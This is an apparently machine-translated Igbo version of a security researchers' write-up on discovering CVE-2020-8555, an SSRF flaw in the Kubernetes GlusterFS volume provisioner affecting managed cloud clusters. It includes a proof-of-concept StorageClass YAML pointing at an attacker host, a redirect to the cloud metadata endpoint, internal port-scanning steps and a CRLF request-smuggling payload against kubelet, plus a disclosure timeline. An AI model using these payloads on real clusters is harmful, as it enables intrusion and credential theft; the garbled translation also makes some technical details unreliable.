Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...

Rịba ama. ntụgharị asụsụ.: ndị dere isiokwu a na-ekwu n'ụzọ zuru ezu banyere otú ha jisiri chọpụta adịghị ike CVE-2020-8555 na Kubernetes. Ọ bụ ezie na na mbụ o yighị ka ọ dị ize ndụ, yana ihe ndị ọzọ dị oke mkpa ya tụgharịrị bụrụ nke kachasị maka ụfọdụ ndị na-eweta igwe ojii. Ọtụtụ ụlọ ọrụ ji mmesapụ aka kwụọ ndị ọkachamara ụgwọ maka ọrụ ha.

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...

Anyị bụ ndị

Anyị bụ ndị nyocha nchekwa France abụọ bụ ndị jikọtara ọnụ chọpụta adịghị ike na Kubernetes. Aha anyị bụ Brice Augras na Christophe Hauquiert, mana n'ọtụtụ nyiwe Bug Bounty a maara anyị dị ka Reeverzax na Hach n'otu n'otu:

Kedu ihe mere?

Edemede a bụ ụzọ anyị si ekerịta ka ọrụ nyocha nkịtị si bụrụ nke a na-atụghị anya ya wee bụrụ njem kacha atọ ụtọ na ndụ ndị dinta ahụhụ (opekata mpe ugbu a).

Dị ka ị maara, ndị na-achụ nta ahụhụ nwere atụmatụ ole na ole a ma ama:

  • ha na-ebi na pizza na biya;
  • ha na-arụ ọrụ mgbe onye ọ bụla ọzọ na-ehi ụra.

Anyị anọghị n'iwu ndị a: anyị na-ezutekarị na ngwụsị izu ma na-anọ n'ụra ehihie na abalị. Ma otu n'ime abalị ndị a kwụsịrị n'ụzọ pụrụ nnọọ iche.

Na mbụ, anyị ga-ezukọ iji kparịta ikere òkè na ya CTF ụbọchị na-esote. N'oge mkparịta ụka banyere nchekwa Kubernetes na gburugburu ọrụ a na-achịkwa, anyị chetara echiche ochie nke SSRF (Arịrịọ Arịrịọ n'akụkụ nkesa) wee kpebie ịnwale iji ya dị ka edemede ọgụ.

N'elekere iri na otu mgbede, anyị nọdụrụ ala ime nyocha anyị wee lakpuo ụra n'isi ụtụtụ, nwee afọ ojuju na nsonaazụ ya. Ọ bụ n'ihi nchọcha a ka anyị siri nweta mmemme MSRC Bug Bounty wee wepụta nribawanye ihe ùgwù.

Ọtụtụ izu / ọnwa gafere, nsonaazụ anyị a na-atụghị anya ya rụpụtara otu n'ime ụgwọ ọrụ kachasị elu na akụkọ ihe mere eme nke Azure Cloud Bug Bounty - na mgbakwunye na nke anyị nwetara n'aka Kubernetes!

Dabere na ọrụ nyocha anyị, Kọmitii Nchebe Ngwaahịa Kubernetes bipụtara CVE-2020-8555.

Ugbu a ọ ga-amasị m ịgbasa ozi gbasara adịghị ike achọtara dị ka o kwere mee. Anyị na-atụ anya na ị nwere ekele maka ịchọta ma kesaa nkọwa ọrụ nka na ndị ọzọ so na obodo infosec!

Yabụ nke a bụ akụkọ anyị...

Agaba

Iji mee ka ọ ghọta ihe merenụ, ka anyị buru ụzọ leba anya ka Kubernetes si arụ ọrụ na gburugburu igwe ojii na-achịkwa.

Mgbe ị na-ewepụta ụyọkọ Kubernetes na mpaghara dị otú ahụ, oyi akwa njikwa bụ ọrụ dịịrị ndị na-eweta igwe ojii:

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...
Igwe njikwa ahụ dị na mpaghara igwe ojii na-eweta igwe ojii, ebe ọnụ ụzọ Kubernetes dị na mpaghara ndị ahịa.

Iji kesaa mpịakọta ike, a na-eji usoro na-enye ha ngwa ngwa site na nchekwa nchekwa dị n'èzí wee jiri ya tụnyere PVC (nkwupụta olu na-adịgide adịgide, ya bụ arịrịọ maka olu).

Ya mere, mgbe emechara PVC ma kee ya na StorageClass na ụyọkọ K8s, ihe ndị ọzọ na-eme iji nye olu ahụ bụ onye njikwa kube / igwe ojii na-eweghara (aha ya kpọmkwem dabere na ntọhapụ). (Rịba ama. ntụgharị asụsụ.: Anyị edeelarịrị banyere CCM na-eji ihe atụ nke mmejuputa ya maka otu n'ime ndị na-eweta igwe ojii ebe a.)

Enwere ọtụtụ ụdị ndị na-enye nkwado nke Kubernetes na-akwado: ọtụtụ n'ime ha gụnyere onye na-eme ihe nkiri core, ebe ndị ọzọ na-achịkwa site n'aka ndị ọzọ na-enye ihe ndị a na-etinye na pọd na ụyọkọ.

N'ime nyocha anyị, anyị lekwasịrị anya na usoro inye ụda olu dị n'ime, nke e gosipụtara n'okpuru:

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...
Ndokwa mpịakọta dị ike site na iji ihe nrụpụta Kubernetes arụnyere n'ime ya

Na nkenke, mgbe etinyere Kubernetes na gburugburu ebe a na-achịkwa, onye njikwa njikwa bụ ọrụ nke onye na-eweta igwe ojii, mana arịrịọ okike olu (nọmba 3 na eserese dị n'elu) na-ahapụ netwọkụ nke onye na-eweta igwe ojii. Ma nke a bụ ebe ihe na-atọ ụtọ nke ukwuu!

Ọnọdụ mbanye anataghị ikike

Na ngalaba a, anyị ga-akọwa otu anyị si were uru nke usoro ọrụ a kpọtụrụ aha n'elu wee nweta ihe onwunwe dị n'ime nke onye na-enye ọrụ igwe ojii. Ọ ga-egosikwa gị otu ị ga-esi mee ụfọdụ omume, dị ka ịnweta nzere nke ime ma ọ bụ ibuwanye ihe ùgwù.

Otu aghụghọ dị mfe (na nke a, Arịrịọ Arịrịọ Side Service) nyere aka gafere gburugburu ebe ndị ahịa n'ime ụyọkọ nke ndị na-enye ọrụ dị iche iche n'okpuru K8s jisiri ike.

Na nyocha anyị, anyị lekwasịrị anya na onye na-enye GlusterFS. N'agbanyeghị na akọwara usoro omume ndị ọzọ n'ọnọdụ a, Quobyte, StorageOS na ScaleIO nwere ike ịnweta otu adịghị ike ahụ.

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...
Iji usoro inye olu dị ike eme ihe

N'oge nyocha klas nchekwa GlusterFS na koodu isi ahịa ndị ahịa Golang anyị Mmekọrịtanke ahụ na arịrịọ HTTP mbụ (3) ezitere n'oge okike olu, ruo na njedebe nke URL omenala na oke resturl gbakwunyere /volumes.

Anyị kpebiri iwepụ ụzọ a ọzọ site n'ịgbakwunye # na oke resturl. Nke a bụ nhazi YAML mbụ anyị jiri nwalee maka adịghị ike SSRF ọkara kpuru (ị nwere ike ịgụtakwu gbasara SSRF ọkara kpuru ma ọ bụ ọkara kpuru, dịka ọmụmaatụ, ebe a - ihe ruru. ntụgharị asụsụ.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Mgbe ahụ, anyị jiri ọnụọgụ abụọ jikwaa ụyọkọ Kubernetes n'ime anya kubectl. Na-emekarị, ndị na-eweta igwe ojii (Azure, Google, AWS, wdg) na-enye gị ohere ịnweta nzere maka ojiji na ngwa a.

N'ihi nke a, enwere m ike iji faịlụ "pụrụ iche" m. Kube-controller- manager mezuru arịrịọ HTTP arụpụtapụtara:

kubectl create -f sc-poc.yaml

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...
Azịza ya sitere n'echiche onye mwakpo ahụ

N'oge na-adịghị anya mgbe nke a gasịrị, anyị nwekwara ike ịnweta nzaghachi HTTP site na ihe nkesa ezubere iche - site na iwu describe pvc ma ọ bụ get events na kubectl. Na n'ezie: onye ọkwọ ụgbọ ala Kubernetes a na-ekwukarị okwu na ịdọ aka ná ntị / ozi njehie ya ...

Nke a bụ ọmụmaatụ nwere njikọ https://www.google.frsetịpụrụ dị ka paramita resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...

Na usoro a, anyị nwere oke na ajụjụ dịka HTTP POST na enweghị ike ịnweta ọdịnaya nke ahụ nzaghachi ma ọ bụrụ na koodu nloghachi bụ 201. Ya mere, anyị kpebiri ime nyocha ọzọ wee gbasaa ọnọdụ hacking a site na iji ụzọ ọhụrụ.

Evolushọn nke nyocha anyị

  • Ọnọdụ dị elu #1: Iji redirect 302 sitere na ihe nkesa mpụga iji gbanwee usoro HTTP iji nye ụzọ mgbanwe karịa ịnakọta data dị n'ime.
  • Ọnọdụ dị elu #2: Mepụta nyocha LAN na nchọpụta akụrụngwa dị n'ime.
  • Ọnọdụ dị elu #3: iji HTTP CRLF + smuggling (“rịọ smuggling”) iji mepụta arịrịọ HTTP ahaziri ahazi wee weghachi data ewepụtara na ndekọ kube-controller.

Nkọwa nka nka

  • Nnyocha ahụ jiri Azure Kubernetes Service (AKS) jiri ụdị Kubernetes 1.12 na mpaghara North Europe.
  • Egburu ihe ndapụta ndị akọwapụtara n'elu na mwepụta Kubernetes kachasị ọhụrụ, ewezuga ọnọdụ nke atọ, n'ihi na ọ chọrọ Kubernetes wuru ya na ụdị Golang ≤ 1.12.
  • Ihe nkesa mpụga nke Attacker - https://attacker.com.

Ọnọdụ dị elu #1: Ntugharị arịrịọ HTTP POST iji nweta na ịnweta data nwere mmetụta

Emeziri usoro izizi ahụ site na nhazi nke ihe nkesa onye mwakpo ka ịlaghachi 302 HTTP Retcodeiji tọghata arịrịọ POST ka ọ bụrụ arịrịọ GET (nzọụkwụ 4 na eserese ahụ):

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...

Arịrịọ mbụ (3) na-abịa site n'aka onye ahịa GlusterFS (Onye njikwa njikwa), nwere ụdị POST. Site na ịgbaso usoro ndị a, anyị nwere ike ịtụgharị ya ka ọ bụrụ GET:

  • Dị ka paramita resturl na StorageClass egosiri ya http://attacker.com/redirect.php.
  • Njedebe https://attacker.com/redirect.php jiri koodu ọnọdụ HTTP 302 jiri nkụnye ọnọdụ ebe a zaghachi: http://169.254.169.254. Nke a nwere ike ịbụ ihe enyemaka ọ bụla ọzọ dị n'ime - na nke a, a na-eji njikọ redirect naanị dịka ọmụmaatụ.
  • ndabara net/http ọbá akwụkwọ Golang na-atụgharị arịrịọ ahụ wee tụgharịa POST ka ọ bụrụ GET nwere koodu ọkwa 302, na-ebute arịrịọ HTTP GET na akụrụngwa ebumnuche.

Iji gụọ ahụ nzaghachi HTTP ị ga-emerịrị describe Ihe PVC:

kubectl describe pvc xxx

Nke a bụ ọmụmaatụ nzaghachi HTTP na usoro JSON anyị nwere ike ịnata:

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...

Ike nke adịghị ike ahụ achọtara n'oge ahụ nwere oke n'ihi isi ihe ndị a:

  • Enweghị ike itinye isi okwu HTTP n'ime arịrịọ ọpụpụ.
  • Enweghị ike ịme arịrịọ POST nwere parampat n'ime ahụ (nke a dabara adaba ịrịọ uru isi site na ihe atụ wdgd na-aga n'ihu. 2379 ọdụ ụgbọ mmiri ma ọ bụrụ na ejiri HTTP ezoro ezo).
  • Enweghị ike iweghachite ọdịnaya anụ ahụ mgbe koodu ọkwa bụ 200 na nzaghachi enweghị ụdị Ọdịnaya JSON.

Ọnọdụ dị elu #2: Nyochaa netwọkụ mpaghara

Ejiri usoro SSRF ọkara kpuru ìsì a wee nyochaa netwọkụ dị n'ime onye na-eweta ígwé ojii wee nyochaa ọrụ ege ntị dị iche iche (Metadata example, Kubelet, etcd, wdg) dabere na nzaghachi ndị ahụ. kube controller.

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...

Nke mbụ, a na-ekpebi ọdụ ụgbọ mmiri na-ege ntị ọkọlọtọ nke ihe ndị Kubernetes (8443, 10250, 10251, wdg), na mgbe ahụ anyị ga-emegharị usoro nyocha.

N'ịhụ na usoro nyocha akụrụngwa a akọwapụtara nke ọma na ọ dakọghị na nyocha nke ọma na ngwaọrụ SSRF, anyị kpebiri ịmepụta ndị ọrụ nke anyị na edemede bash na-emezi usoro ahụ dum.

Dịka ọmụmaatụ, iji nyochaa ngwa ngwa 172.16.0.0/12 nke netwọk dị n'ime, ndị ọrụ 15 na-arụ ọrụ n'otu n'otu. ahọpụtara oke IP dị n'elu dị ka ọmụmaatụ naanị yana enwere ike ịgbanwe na nso IP nke onye na-eweta ọrụ gị.

Iji nyochaa otu adreesị IP na otu ọdụ ụgbọ mmiri, ịkwesịrị ịme ihe ndị a:

  • hichapụ klaasị nchekwa ikpeazụ enyochara;
  • wepụ akwụkwọ mkpesa na-adịgide adịgide akwadoro gara aga;
  • gbanwee ụkpụrụ IP na Port na sc.yaml;
  • mepụta klaasị nke nwere IP na ọdụ ụgbọ mmiri ọhụrụ;
  • mepụta PVC ọhụrụ;
  • wepụta nsonaazụ nyocha site na iji nkọwa maka PVC.

Ọnọdụ dị elu #3: CRLF injection + smuggling HTTP na ụdị "ochie" nke ụyọkọ Kubernetes

Ọ bụrụ na mgbakwunye na nke a, onye na-eweta ya nyere ndị ahịa ụdị ochie nke ụyọkọ K8s и nyere ha ohere ịnweta ndekọ kube-controller- manager, mmetụta ahụ bịara dị ịrịba ama karị.

Ọ dị mma karịa maka onye na-awakpo ịgbanwe arịrịọ HTTP emebere iji nweta nzaghachi HTTP zuru oke na uche ya.

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...

Iji mejuputa ọnọdụ ikpeazụ, a ga-emezurịrị ọnọdụ ndị a:

  • Onye ọrụ ga-enwerịrị ike ịnweta ndekọ kube-controller-manager (dịka ọmụmaatụ, na Azure LogInsights).
  • Ụyọkọ Kubernetes ga-eji ụdị Golang dị ala karịa 1.12.

Anyị wepụrụ gburugburu mpaghara nke gosipụtara nzikọrịta ozi n'etiti onye ahịa GlusterFS Go na ihe nkesa ebumnuche adịgboroja (anyị ga-ezere ibipụta PoC ugbu a).

Achọtara adịghị ike, na-emetụta ụdị Golang dị ala karịa 1.12 na ikwe ka ndị na-agba ọsọ na-ebuso HTTP smuggling/CRLF ọgụ.

Site na ijikọta ọkara kpuru isi SSRF akọwara n'elu вместе na nke a, anyị nwere ike izipu arịrịọ na mmasị anyị, gụnyere dochie nkụnye eji isi mee, HTTP usoro, paramita na data, nke kube-njikwa-njikwa wee hazie.

Nke a bụ ihe atụ nke “ụta” na-arụ ọrụ na oke resturl StorageClass, nke na-emejuputa ụdị ọgụ a:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Nsonaazụ bụ mperi nzaghachi na-achọghị, ozi gbasara nke edere na ndekọ njikwa. N'ihi verbosity enyere na ndabara, ọdịnaya nke ozi nzaghachi HTTP na-echekwa ebe ahụ.

Mgbe ọ bụghị naanị maka adịghị ike Kubernetes ...

Nke a bụ "ụta" anyị kachasị dị irè n'ime usoro ihe akaebe nke echiche.

N'iji usoro a, anyị nwere ike ịme ụfọdụ n'ime mwakpo ndị a na ụyọkọ nke ndị na-enye k8s dị iche iche a na-achịkwa: nkwalite ohere na nzere na metadata, Master DoS site na (anaghị ezoro ezo) arịrịọ HTTP na etcd master instances, wdg.

Nsonaazụ

Na nkwupụta gọọmentị Kubernetes gbasara adịghị ike SSRF anyị chọpụtara, akwadoro ya CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Ọ bụrụ na anyị na-atụle naanị adịghị ike metụtara Kubernetes perimeta, iguzosi ike n'ezi vector (vector iguzosi ike n'ezi ihe) ọ ruru eru ka Ọ dịghị onye.

Otú ọ dị, n'ịtụle ihe ga-esi na ya pụta na gburugburu ebe ọrụ a na-achịkwa (na nke a bụ akụkụ kachasị mmasị nke nyocha anyị!) kpaliri anyị ịmegharị adịghị ike ahụ na ọkwa ọkwa. CVSS dị oke egwu10/10 maka ọtụtụ ndị nkesa.

N'okpuru bụ ozi ndị ọzọ iji nyere gị aka ịghọta ihe anyị na-eche mgbe ị na-atụle mmetụta nwere ike na gburugburu igwe ojii:

Iguzosi ike n'ezi ihe

  • Mezu iwu ozugbo site na iji nzere ime enwetara.
  • Iji usoro IDOR (Insecure Direct Object Reference) megharịa ọnọdụ dị n'elu yana akụrụngwa ndị ọzọ achọtara na netwọk mpaghara.

Nzuzo

  • Ụdị mbuso agha Mmegharị ahụ ekele maka izu ohi nzere igwe ojii (dịka ọmụmaatụ, API metadata).
  • Ịnakọta ozi site na inyocha netwọkụ mpaghara (ịchọpụta ụdị SSH, ụdị sava HTTP, ...).
  • Chịkọta ozi atụ na akụrụngwa site n'ịme ntuli aka ime API dị ka metadata API (http://169.254.169.254,…)
  • Izu data ndị ahịa site na iji nzere igwe ojii.

Nnweta

Ọnọdụ niile na-erigbu metụtara vectors ọgụ iguzosi ike n'ezi ihe, enwere ike iji ya mee ihe na-emebi ihe ma na-eduga n'ụkpụrụ ndị ọkachamara site na mpaghara ndị ahịa (ma ọ bụ ihe ọ bụla ọzọ) adịghị adị.

Ebe anyị nọ na gburugburu K8s a na-achịkwa ma na-enyocha mmetụta na iguzosi ike n'ezi ihe, anyị nwere ike iche n'echiche ọtụtụ ọnọdụ nwere ike imetụta nnweta. Ihe atụ agbakwunyere gụnyere imebi nchekwa data wdgd ma ọ bụ ịkpọ oku dị mkpa na Kubernetes API.

Oge oge

  • Disemba 6, 2019: adịghị ike akọwara MSRC Bug Bounty.
  • Jenụwarị 3, 2020: Ndị ọzọ gwara ndị mmepe Kubernetes na anyị na-arụ ọrụ na okwu nchekwa. Ma gwa ha ka ha tụlee SSRF dị ka adịghị ike n'ime (na-isi). Anyị wee nye akụkọ zuru oke na nkọwa teknụzụ gbasara isi mmalite nsogbu ahụ.
  • Jenụwarị 15, 2020: Anyị nyere ndị mmepe Kubernetes akụkọ gbasara teknụzụ na izugbe na arịrịọ ha (site na ikpo okwu HackerOne).
  • Jenụwarị 15, 2020: Ndị mmepe Kubernetes gwara anyị na ntụtụ SSRF + CRLF ọkara kpuru maka mwepụta ndị gara aga ka a na-ewere dị ka adịghị ike n'ime. Anyị kwụsịrị ozugbo nyochaa mkpọmkpọ ebe nke ndị na-enye ọrụ ndị ọzọ: ndị otu K8 na-emezi ihe kpatara ya.
  • Jenụwarị 15, 2020: Ụgwọ ọrụ MSRC nwetara site na HackerOne.
  • Jenụwarị 16, 2020: Kubernetes PSC (Kọmitii Nchebe Ngwaahịa) ghọtara adịghị ike ahụ wee rịọ ka idobe ya na nzuzo ruo etiti Machị n'ihi ọnụ ọgụgụ buru ibu nke ndị nwere ike ịmetụta.
  • Febụwarị 11, 2020: Google VRP enwetara ụgwọ ọrụ.
  • Maachị 4, 2020: Ụgwọ ọrụ Kubernetes natara site na HackerOne.
  • Maachị 15, 2020: Nkwusa ọhaneze akwadoro na mbụ yigharịrị n'ihi ọnọdụ COVID-19.
  • June 1, 2020: Kubernetes + nkwupụta nkwonkwo Microsoft gbasara adịghị ike.

TL; DR

  • Anyị na-aṅụ biya ma rie pizza :)
  • Anyị chọpụtara adịghị ike dị n'ime Kubernetes, n'agbanyeghị na anyị enweghị ebumnuche ime ya.
  • Anyị mere nyocha ndị ọzọ na ụyọkọ nke ndị na-enye igwe ojii dị iche iche ma nwee ike ịbawanye mmebi nke adịghị ike na-enweta ego ndị ọzọ dị egwu.
  • Ị ga-ahụ ọtụtụ nkọwa teknụzụ n'isiokwu a. Obi ga-adị anyị ụtọ iso gị kparịta ha (Twitter: @ReeverZax & @__hach_).
  • Ọ tụgharịrị na ụdị usoro na akụkọ niile were ogologo oge karịa ka a tụrụ anya ya.

zoro

PS sitere na onye ntụgharị

Gụọkwa na blọọgụ anyị:

isi: www.habr.com

Tinye a comment